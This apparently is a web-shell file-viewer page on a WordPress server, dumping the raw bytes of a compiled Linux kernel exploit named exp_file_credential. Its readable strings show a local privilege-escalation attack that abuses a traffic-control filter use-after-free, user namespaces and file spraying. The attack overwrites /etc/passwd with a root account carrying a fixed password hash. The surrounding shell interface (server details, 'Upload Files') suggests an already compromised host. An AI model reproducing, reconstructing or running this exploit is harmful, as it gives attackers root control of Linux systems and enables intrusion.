HEX
Server: nginx/1.24.0
System: Linux DGT-WORDPRESS-VM-SERVER 6.14.0-1014-azure #14~24.04.1-Ubuntu SMP Fri Oct 3 20:52:11 UTC 2025 x86_64
User: ubuntu (1000)
PHP: 8.4.12
Disabled: NONE
Upload Files
File: //tmp/test/exp_file_credential
ELF>@&@P�@8
@@@@��xx   �3�3```0l0|0|�@l@|@|888  XXXDDS�td888  P�td�e�e�eQ�tdR�td0l0|0|��/lib64/ld-linux-x86-64.so.2GNU�GNUY>��`��z��6>J��W@GNU5�56�e�m9��dM� ��D�Q5G��.�K�~w�R=^�s��� [i�sb�}�x����- �����"p@�libpthread.so.0_ITM_deregisterTMCloneTable_ITM_registerTMCloneTablewrite__errno_locationclosepthread_createreadopenrecvmsgsendmsglibc.so.6socketstrcpyexitstrncmppipeperrorget_current_dir_nameputsfork__stack_chk_failclockgetpidchmod__assert_failmmapsymlinksched_setaffinitystrlenunsharememsetwritevchdirvsnprintfmemcpymallocgetgidstderrsystemgetuidsetrlimitusleepfprintf__cxa_finalizesyscallgetrlimitmount__libc_start_mainsysconffreeGLIBC_2.2.5GLIBC_2.14GLIBC_2.3.4GLIBC_2.4__gmon_start__ ui	������ti	�ii
ui	�0| '8|�&��(�`0�`���"�0�5@�6X~`~h~p~x~�~�~�~	�~
�~�~�~
�~�~�~�~�~�~�~�~�~ (08@ H!P#X$`%h&p'x(�)�*�+�,�-�.�/�1�2�3�4��H��H��_H��t��H����5"^�%#^��h�������h��������h�������h�������h�������h�������h�������h��q������h��a������h	��Q������h
��A������h��1������h��!������h
��������h��������h������h�������h��������h�������h�������h�������h�������h�������h��q������h��a������h��Q������h��A������h��1������h��!������h��������h��������h������h �������h!��������h"�������h#�������h$�������h%�������h&�������h'��q������h(��a������h)��Q������h*��A������h+��1������h,��!������h-��������h.��������h/�������%�\D���%
[D���%[D���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%�ZD���%}ZD���%uZD���%mZD���%eZD���%]ZD���%UZD���%MZD���%EZD���%=ZD���%5ZD���%-ZD���%%ZD���%ZD���%ZD���%
ZD���%ZD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD���%�YD��1�I��^H��H���PTL�V-H�
�,H�=�*�rY�H�=�YH��YH9�tH�NYH��t	�����H�=�YH�5�YH)�H��H��?H��H�H�tH�%YH��t��fD�����=]Yu+UH�=YH��tH�=Y�)����d����5Y]������w�����UH��H�}�H�u�]���UH��H����\���dH�%(H�E�1�H��p���H�Ƹ�H��H���H���\���H�H��h���H��h����wMH��h���H��H��H��p���H�H�H��h�����?�H��H��H�4�H��p���H�H	�H�H��p���H�¾������tH�=L8���������H�E�dH3%(t��������UH��H��H�����H�����H��`���H��h���L��p���L��x�����t )E�)M�)U�)]�)e�)m�)u�)}�dH�%(H��H���1�Dž(���Dž,���0H�EH��0���H��P���H��8���H��(���H�����H��@����H������ƅ?���H��@���H�����������H������H�Ǹ����� ����� ����u��n�����Hc�H��@����� ���H�Ή���������Hc�H9�t.�����$����� ������O���������$�������� ������.����H��H���dH34%(t�������UH��H��H�=�6���H�=�6���H��6H�E�H�}�u
����H�E���H�������t
����H�E�H��������t
����H�5~6H�=}6�D��������UH��A��H�b6H�5c6�����]���UH��H�� dH�%(H�E�1�H�E��H�E�H�E�H�E�H�ƿ	����H�E�H�E�H�E�H�E�H�ƿ���H�E��H�E�H�E�H�E�H�E�H�E�H�E�H�ƿ�u���H�E�H�E�H�E�H�E�H�ƿ�T���H�E�7H�E�H�E�H�E�H�ƿ�3�����y[H�E�H�E�H�E���T���T�
H�E�H�ƿ�����y"H�=[5�*���H�5O5������H�E�dH3%(t��������UH��H���|����E��d����E�������tH�=5����������@������tH�=�4�������H�5�4H�=�4�������tH�=�4�n��������E���H�5�4H�=�4��������tH�=�4�4�����J����E���H�5�4H�=�4��}�������tH�=�4�������������UH��H��0H�}�u�H�U؉M�H�E�H�E��E��H�E�f�P�E�PH�E�f��}�t�E�Hc�H�E�H�HH�E�H��H������E�����UH��H��0H�}�u�U�H�M�D�EԋEԃ��E�H�E�����‹E���‹E�9�v%H��R�U�H�5F4H�Ǹ�q���������|H�E�������H��H�E�H�H�E��E��H�E�f�P�E��H�E�f��}�t�E�Hc�H�E�H�HH�E�H��H���2���H�E�����‹E����H�E������UH��H�� H�}�u�U�H�E�������H��H�E�H�H�E��U�u�H�E�A��H������H�E�����UH��H�}�H�u�H�E��������H��H�E�H�H+E��H�E�f�H�E��]���UH��H����|���dH�%(H�E�1�����H�E�H�E���H������H�E�H�E�H�E��$H�E�f�@H�E�f�@$H�E�H��H�E�H�E��@H�E��H�E��@�����E��E��E����‹E���	�H�E��PH�E�A�H�
�2��H�����H�E�H�E�H�E����H�E�H�E��E�f�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E��E�H�E�H�E�H�E�H�M���|����H�Ή��b�H�M�dH3%(t������UH��H����l�����h�����d�����`���D��f��\���dH�%(H�E�1�� ���H�E�H�E�� �H����H�E�H�E�H�E����H��HE�H�E��$��\�������H�E�f�PH�E�f�@,H�E�H��H�E�Džx���Dž|�����x������‹�|�����	�H�E��PH�E��@H�E��H�E���`����PH�E�A�H�
�0��H������H�E���H�����H�E�H��h���H�E�A�H�Ѻ�H�����H��d���H�E�A�H�Ѻ�H���m���H�U�H�E�H��H�����H�E�H�E�H�E����H�E�H�E��E�f�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E��E�H�E�H�E�H�E�H�M���l����H�Ή���H�E�H����H�M�dH3%(t������UH��H���}��u���f�E��u�E����‹E���U��E�A�����e��������UH��H�� �}�u�E�E��}�w	�}�vH�
e2�vH�5�.H�=/��E��	E��}�t�E�%���t���E�����UH��H����l�����h���dH�%(H�E�1��@���H�E�H�E��@�H��� �H�E�H�E�H�E����H��HE�H�E��$H�E�f�@	H�E�f�@-H�E�H��H�E�Džx���Dž|�����x������‹�|�����	�H�E��PH�E��@H�E��H�E���h����PH�E�A�H�
�-��H�����H�E���H�����H�E�H�U�H�E�H��H�����H�E�H�E�H�E����H�E�H�E��E�f�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E��E�H�E�H�E�H�E�H�M���l����H�Ή��u�H�E��@�H����H�E�@H�E�H�E�H�M���l����H�Ή��6�Eȃ�tH�=�,�B�H�E�H�M�dH3%(t������UH��H���}��u��E����‹E�‹E��։���������UH��H�����<�����8���H��0���H��(���D��$���dH�%(H�E�1���$���H�H��(���H=�/vH�
t/��H�5�+H�=A,���@�:�H��X���H��X����@�H���j�H��X���H��`���H��`������H��H�`���H��`����$H��`���f�@H��`���f�@,H��X���H��H��h���DžL���DžP�����L������‹�P�����	�H��h����PH��h����@H��h����H��h�����8����PH��`���A�H�
f+��@H������H��`�����@H������H��p���H��`�����@H�����H��x�����$��������f��T���fDžV���H��T���H��`���A�H�Ѻ�@H���}���H��`�����@H���N���H�E��0��H�E�DžH����H�E��0�H����H�E�H�E�H�E�f�@H�E�f�@H�E�H��H�E�H�E�f�E�f�E�H�U�H�E���H���p�H�HE�H��(�����H��0���H�E��H���I�H�HE�H��(�����H��0���H�E��H���"�H�HE�H�E�H+E�����H����pH�U�H��`���A��H�щ�@H���P��H�����T�����9�H�����H�U�H��`���H��H���\���H��x���H��`���H��H���C���H��p���H��`���H��H���*���H��`���H�E�H��`������H�E�H�E��E�f�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E��E�H�E�H�E�H�E�H�M���<����H�Ή���H�E�H���F�H��X���H���7��H�M�dH3%(t������UH��H����l�����h���dH�%(H�E�1��@��H�E�H�E��@�H���N�H�E�H�E�H�E����H��HE�H�E��$H�E�f�@	H�E�f�@-H�E�H��H�E�Džx���Dž|�����x������‹�|�����	�H�E��PH�E��@H�E��H�E���h����PH�E�A�H�
t'��H����H�E���H�����H�E�H�U�H�E�H��H���%�H�E�H�E�H�E����H�E�H�E��E�f�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E��E�H�E�H�E�H�E�H�M���l����H�Ή���H�E��@�H����H�E�@H�E�H�E�H�M���l����H�Ή��d��Eȃ�tH�=
&�p�H�E�H�M�dH3%(t�������UH��H��dH�%(H�E�1�H�=&�,��H�=.$�����|�����|���yH�=�%��������!�HDž����0Džt����G��t�����Hc�H������H�A�A��"��H���Q�H��������t�����t���ef~���t���H�
_(�BH�5�$H�=h%�_�H������H������H�������H�5M%H����Džx����L��x���H�H��H�H������H������H���t�����H���x���Hc�H��H�H��HH���x�����x���~��B��H������H��������|����H�Ή���H��yH�=�$�����H������H������H+������H*��
{'�^�������H������fHn�H�=l$�����A�H�M�dH3%(t������UH��H�� dH�%(H�E�1�H�user:$1$H�user$k8sH���H������H�ntSoh7jhH�sc6lwspjH�����H�����H�sU.:0:0:H�/root/roH�����H�����H�ot:/bin/�bashH�� ���H��(���H��0�����xH���H�H�jAH����H�\AH����H�������@��t���@��@H�����H�Ή���H��yH�=@#��H�=D#���H�u�dH34%(t�r�����UH������������]���UH��AUATSH��H�$H��H�$H��hdH�%(H�E�1�HDž���HDž���H��������H���H�HDž���HDž���H�����H�ƿ�j���u"H�����H�����H��H�=v"���������?��H�=�"�������M��/?�)?���uH�
�$�H�5
!H�=f"����>������?H������H�Ή����H��tH�58"������>A����������$?�H�5"���M�H��tH�5�!������>H������H�Ή��5�H��tH�5�!���y��+>A�������;�� ��
�H�=�!���>�H�5a!����H��tH�5P!�����N>H������H�Ή���H��tH�5!������@B��Dž�����
�=���������Љ����H�=� ���������Hc�H��H�u=������H�H��H�[=���H�
�"��H�5�H�=� ���������<9�����a�����<A��������������H�=X �4�H�=] �(�Dž����h�
�<���������Љ����H�=���������Hc�H��H��<������H�H��H�i<���H�
�!��H�5H�=���Dž���������H�H��H�<D�,�����H�H��H�<D�$��������E��E���ډƿ8���H���?������������H�=Q����������H�H��H��;��<;�����H�H��H�u;�� ;H������H�S����H���<��H������H�h����H�������-;��t���:�������:���w��H�=��K�������Dž����;H������H�Ή��K����:H������H�Ή��O��H��tH�5h�������:������;:9�����?����x:��u������:9�����������������
������4:��u��1:����t*H�=��b���p:�H�5����y���	H��9�H�Ǹ�+�������HDž���HDž���HDž���HDž���HDž���HDž���HDž��HDž��HDž��HDž��HDž ��HDž(��HDž0��HDž8��HDž@��HDžH��HDžP��HDžX��HDž`��HDžh��HDžp��HDžx��HDž���HDž���HDž���HDž���HDž���HDž���HDž���HDž���HDž���HDž���H�����������0H�Ή����H������H�5:H���N����u��8�H�5!������4H�����H��H�=	��$���b8�H�5����k�����������UH��]���UH��H��PdH�%(H�E�1�H�=�7�*�����uH�5������H�=�7������uH�5����h��H�=�7�������uH�5`���A��H�=j7������uH�59�����H�=K7������uH�5�������T�Y����6������[����Dž������6H�������H�Ή��F��H��wH�5������H�K6H��H�=�����Dž���������u^Dž�����8�
J6����������Љ����H��5�H�Ǹ�o��������������9�����|��'�����Dž�����8�
�5����������Љ����H��5�H�Ǹ���������������9�����|�H�=�������5�H�5�������'������&����uA��D����������k����H�M�dH3%(��
���������������-��Dž�����8�
�4����������Љ�����H��4�H�Ǹ�#��������������'~�H�=�����4�H�5������H��tH�5�������������������;�������������������uH�
��BH�5�H�=��m����������f�HDž��HDž��HDž�HDž����HDž���HDž���HDž���HDž���HDž ���HDž(���HDž0���HDž8���HDž@���HDžH���HDžP���HDžX���HDž`���HDžh���HDžp���HDžx���H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H�E�H���H�����AH�������2H�����H�Ή��+��H��tH�5	���o��Dž���&�������(�����Dž����1���������H��������A� �����v�����������;����|����������H��������A� �����7����������H��������A� �����
����������H��������A� ���������1�H�5�������H��tH�5���X����1H�����H�Ή�����H��tH�5P��� ���������������1���������H��������A� �����;�����������;����|�H�=x���Dž����C�����;����t-�������9����t��������‹�����։��C���������������9����|���0�H�5�������H��tH�5����/���i0H�����H�Ή����H��tH�5'�������������‹�����։�����������‹�����։������������u��������������!��������‹�����։��J�����������;����|�H�=(�����/�H�5�������H��tH�5����0�����������������UH��SH��(�}�H�u�dH�%(H�E�1�A�A������!�� �����H��.H��.� �H�����H��.H��.H�E�H����H��H��.I��H��H�Q�H�Ǹ���H��.H��H�=4��w��H�.�H�Ǹ����E�H�L.HH�.H��-H�q.H��H���.��H�_.H��-H�����H��E�H�Ή�����E���H��H�=1.�L����tH�
��H�5fH�=����H�=������H����u�����'� �����-H�M�H�Ή�����E�uH�=Y����H�=S����H�]�dH3%(t�
��H��([]���AWL�=�(AVI��AUI��ATA��UH�-�(SL)�H�����H��t1��L��L��D��A��H��H9�u�H��[]A\A]A^A_�ff.������H��H���/etc/passwduser:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
sched_setaffinity()rm -rf exp_dir; mkdir exp_dir; touch exp_dir/datatouch exp_dir/data2exp_dir./uaf./datafusectl/sys/fs/fuse/connectionssetrlimit[-] unshare(CLONE_NEWUSER)deny/proc/self/setgroups[-] write_file(/proc/self/set_groups)0 %d 1
/proc/self/uid_map[-] write_file(/proc/self/uid_map)/proc/self/gid_map[-] write_file(/proc/self/gid_map)addattr_l ERROR: message exceeded bound of %d
sfqrouteexp_file_credential.cfrom <= 0xff && to <= 0xffsize of sender address is wrongspray_len * spray_count < 0x3000basicstart slow writeerror open uaf fileoffset > 0hhhhhslow writewrite done, spent %f s
failed to writeshould be after the slow writeOld limits -> soft limit= %ld 	 hard limit= %ld 
starting exploit, num of cores: %d
sockfd != -1read from parentOKwrite to childfreed the filter object./data2fds[i] > 0double free donespraying filesfd_2[i] > 0found overlap, id : %d, %d
closed overlapread from file sprayno overlap found :(...�usernot successful : %s
fail to create pipes
read file spraygot cmd, start spraying %s
spray donedefrag donefailed write defragsprayfd != -1failed read defragwrite to parent
spray 256 done256 freed done%s/%sself path %s
pipe(pipe_main) == 0prepare donesucceedfailedcalc_handleadd_tc_basicslow_writeexploitrun_expmain��.A; X���@h���hx����x���(a����t����h�������������8���X��xr���\�����������|�����8��X���x��������\������������8,��X��x���{��x����(zRx�H���/D$4���FJw�?:*3$"\����t������E�C
J������E�C
�������E�C
�������E�C
�g��.E�C
e,u��FE�C
=L���E�C
l���gE�C
^�����E�C
�����UE�C
L����=E�C
t�����E�C
�\��\E�C
S,���BE�C
yL���pE�C
gl
��6E�C
-� ��.E�C
e�.��nE�C
e�|��6E�C
-����5E�C
,���AE�C
8,���$E�C
[L����E�C
d���l9��E�C
B�$���E�C
�$����E�C
E��D���eF�I�E �E(�D0�H8�G@n8A0A(B BBB�� '�&� 
�S0|8|���o���
 @~���	���o���o����o�o���o@|0 @ P ` p � � � � � � � � !! !0!@!P!`!p!�!�!�!�!�!�!�!�!"" "0"@"P"`"p"�"�"�"�"�"�"�"�"## #���������������``GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.08X|���	�
�� 
  0#@#@&�S`�e�f0|8|@|@~�@��p&�&!�&7H�F8|m 'y0|���0(���)��O*.�}*F�xe�e
�e4�eN�eh�e��k��8|�@|�0|��e�@~5 ��S�$B`�La ; �}h�� ���p�����$:6�#0�-@�5.J^�+n8�u�2B|�y.=�:-���S��H����x���#5eI�^y�����?$�`�������
)��9�F��R(�Y��dy��.�� �l�����>A��`��!��+@Se
;O��Ȁ?@&/[�2pg<'�r�)'�8���CQ���d��`���H����?�R36&�0�7��?Q8�]Z<5h$.Uu� �����,g��"���5n�@�/D0\crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.8061__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryexp_file_credential.cwrite_fileuse_temporary_dirsetup_commonadjust_rlimit__PRETTY_FUNCTION__.32340__PRETTY_FUNCTION__.32365__PRETTY_FUNCTION__.32410__PRETTY_FUNCTION__.32436__PRETTY_FUNCTION__.32482__PRETTY_FUNCTION__.32510__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finifree@@GLIBC_2.2.5pthread_create@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5cpu_coresstrncmp@@GLIBC_2.2.5_ITM_deregisterTMCloneTablerun_sprayspray_num_2strcpy@@GLIBC_2.2.5passwdsendmsg@@GLIBC_2.2.5writev@@GLIBC_2.2.5puts@@GLIBC_2.2.5delete_tc_basicvsnprintf@@GLIBC_2.2.5unshare@@GLIBC_2.4overwritewrite@@GLIBC_2.2.5delete_tcgetpid@@GLIBC_2.2.5setup_namespace_edataadd_tcclock@@GLIBC_2.2.5addattr_nest_endaddattr_lrun_expstrlen@@GLIBC_2.2.5mount@@GLIBC_2.2.5globalchdir@@GLIBC_2.2.5__stack_chk_fail@@GLIBC_2.4getuid@@GLIBC_2.2.5mmap@@GLIBC_2.2.5system@@GLIBC_2.2.5symlink@@GLIBC_2.2.5__assert_fail@@GLIBC_2.2.5pipe_defragmemset@@GLIBC_2.2.5pre_exploitfd_2close@@GLIBC_2.2.5pipe@@GLIBC_2.2.5sched_setaffinity@@GLIBC_2.3.4overlap_aread@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5pipe_file_spray__data_startpipe_parenttargetpipe_childfprintf@@GLIBC_2.2.5syscall@@GLIBC_2.2.5add_qdisc__gmon_start__overlapped__dso_handlewrite_cmdmemcpy@@GLIBC_2.14_IO_stdin_usedgetgid@@GLIBC_2.2.5get_current_dir_name@@GLIBC_2.2.5self_path__libc_csu_initmalloc@@GLIBC_2.2.5spray_num_1calc_handlepin_on_cpusetrlimit@@GLIBC_2.2.5DumpHex__bss_startrecvmsg@@GLIBC_2.2.5chmod@@GLIBC_2.2.5run_writefdspost_exploitopen@@GLIBC_2.2.5perror@@GLIBC_2.2.5sysconf@@GLIBC_2.2.5delete_tc_overlap_bsockfdcontentexit@@GLIBC_2.2.5__TMC_END__slow_writeaddattr_nestgetrlimit@@GLIBC_2.2.5_ITM_registerTMCloneTablepipe_mainaddattr__cxa_finalize@@GLIBC_2.2.5fork@@GLIBC_2.2.5add_tc_basicusleep@@GLIBC_2.2.5stderr@@GLIBC_2.2.5socket@@GLIBC_2.2.5add_tc_.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment#88 6XX$I|| W���o��(a��(i�� q���on~���o��p����B����  �    �0#0#�@#@#�@&@&u-��S�S
�``���e�e��f�f0�0|0l�8|8l�@|@l�@~@n��p8@�8p� 08p+hp�8	�7/�